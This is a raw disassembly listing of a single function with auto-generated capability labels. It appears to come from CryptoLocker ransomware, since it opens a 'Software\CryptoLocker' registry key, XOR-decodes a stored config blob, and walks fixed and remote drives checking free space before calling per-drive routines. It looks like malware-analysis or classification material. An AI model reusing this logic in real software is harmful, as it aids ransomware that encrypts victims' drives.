Function at 0x403070
Capabilities:
Encode data using xor
Get disk information
Get disk size
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x334
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor bl, bl
mov edx, eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], 0x3a0000
mov dword [esp + 0x1c], 0x5c
cmp byte [ebp + 8], bl
je 0x403221
mov esi, dword [0x4160e0]
push 0xffffffffffffffff
push dword [esi + 0x38]
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4030d0
cmp eax, 0x80
jne 0x403219
mov bh, byte [esp + 0x38]
lea eax, [esp + 0x3c]
push eax
push 0x101
push 0
push str.SoftwareCryptoLocker
push 0x80000001
mov byte [esp + 0x2b], 0
mov dword [esp + 0x40], 0x16c
mov dword [esp + 0x44], 0
and bh, 0xfe
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, eax
test edi, edi
jne 0x40319b
mov esi, dword [esp + 0x3c]
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x64]
push eax
lea eax, [esp + 0x38]
push eax
push edi
push str.VersionInfo
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, eax
test esi, esi
je 0x40314b
test bh, 1
je 0x403144
push esi
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x20]
test edi, edi
jne 0x40319b
cmp dword [esp + 0x30], 3
jne 0x40319b
cmp dword [esp + 0x2c], 0x16c
jne 0x40319b
xor eax, eax
jmp 0x403170
xor dword [esp + eax + 0x60], 0x819c33ae
add eax, 4
cmp eax, 0x16c
jb 0x403170
cmp dword [esp + 0x60], 0x16c
jne 0x40319b
xor eax, eax
mov word [esp + 0x1c8], ax
mov byte [esp + 0x17], 1
push dword [esi + 0x38]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
cmp byte [esp + 0x17], 0
jne 0x403209
push 0x16c
lea eax, [esp + 0x64]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [esp + 0x50]
push eax
mov dword [esp + 0x64], 0x16c
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
push 0
add ecx, 0x2ac18000
push 0x989680
adc eax, 0xfe624e21
push eax
push ecx
call fcn.00410a10
mov dword [esp + 0x64], eax
jmp 0x403219
mov cl, byte [esp + 0x6c]
lea eax, [ecx - 0x41]
cmp al, 0x18
ja 0x403219
mov bl, cl
sub bl, 0x40
mov edx, dword [esp + 0x10]
mov esi, dword [esp + 0x24]
xor bh, bh
cmp bl, 0x1a
jae 0x40339d
mov edi, dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov eax, 1
mov cl, bl
shl eax, cl
test edx, eax
je 0x40333c
xor eax, eax
cmp byte [esi + 0x10], al
mov ecx, 0x64
cmovne ecx, eax
mov eax, dword [0x4160e0]
push ecx
mov eax, dword [eax + 0x258]
mov dword [esp + 0x28], eax
mov eax, dword [esi + 0xc]
mov dword [esp + 0x2c], eax
push 0
lea eax, [esp + 0x2c]
push eax
push 2
call edi
cmp eax, 1
jbe 0x40339d
movzx eax, bl
add ax, 0x41
mov word [esp + 0x18], ax
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
je 0x4032a0
cmp eax, 4
jne 0x403338
push 0
push 0
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 0
push 0
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x403338
test dword [esp + 0x20], 0x80000
jne 0x403338
push 0
push 0
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x403338
cmp dword [esp + 0x4c], 0
ja 0x4032f3
cmp dword [esp + 0x48], 0xa00000
jb 0x403338
lea eax, [esp + 0x18]
push eax
mov ecx, esi
call fcn.00402ea0
mov eax, dword [0x4160e0]
push 0
mov eax, dword [eax + 0x258]
mov dword [esp + 0x38], eax
mov eax, dword [esi + 0xc]
mov dword [esp + 0x3c], eax
push 0
lea eax, [esp + 0x3c]
push eax
push 2
call edi
cmp eax, 1
jbe 0x40339d
cmp byte [ebp + 8], 0
je 0x403338
mov bh, byte [esp + 0x18]
mov cl, bh
call fcn.00403010
mov edx, dword [esp + 0x10]
inc bl
cmp bl, 0x1a
jb 0x403232
test bh, bh
je 0x40339d
cmp bh, 0x5a
je 0x40339d
mov esi, dword [0x4160e0]
push 0xffffffffffffffff
push dword [esi + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40336c
cmp eax, 0x80
jne 0x40339d
push 0
lea eax, [esp + 0x1d4]
push eax
lea ecx, [esi + 0x38]
call fcn.00410370
push ecx
lea eax, [esp + 0x1d4]
push eax
mov byte [esp + 0x1e4], 0x5a
call fcn.004104f0
push dword [esi + 0x38]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4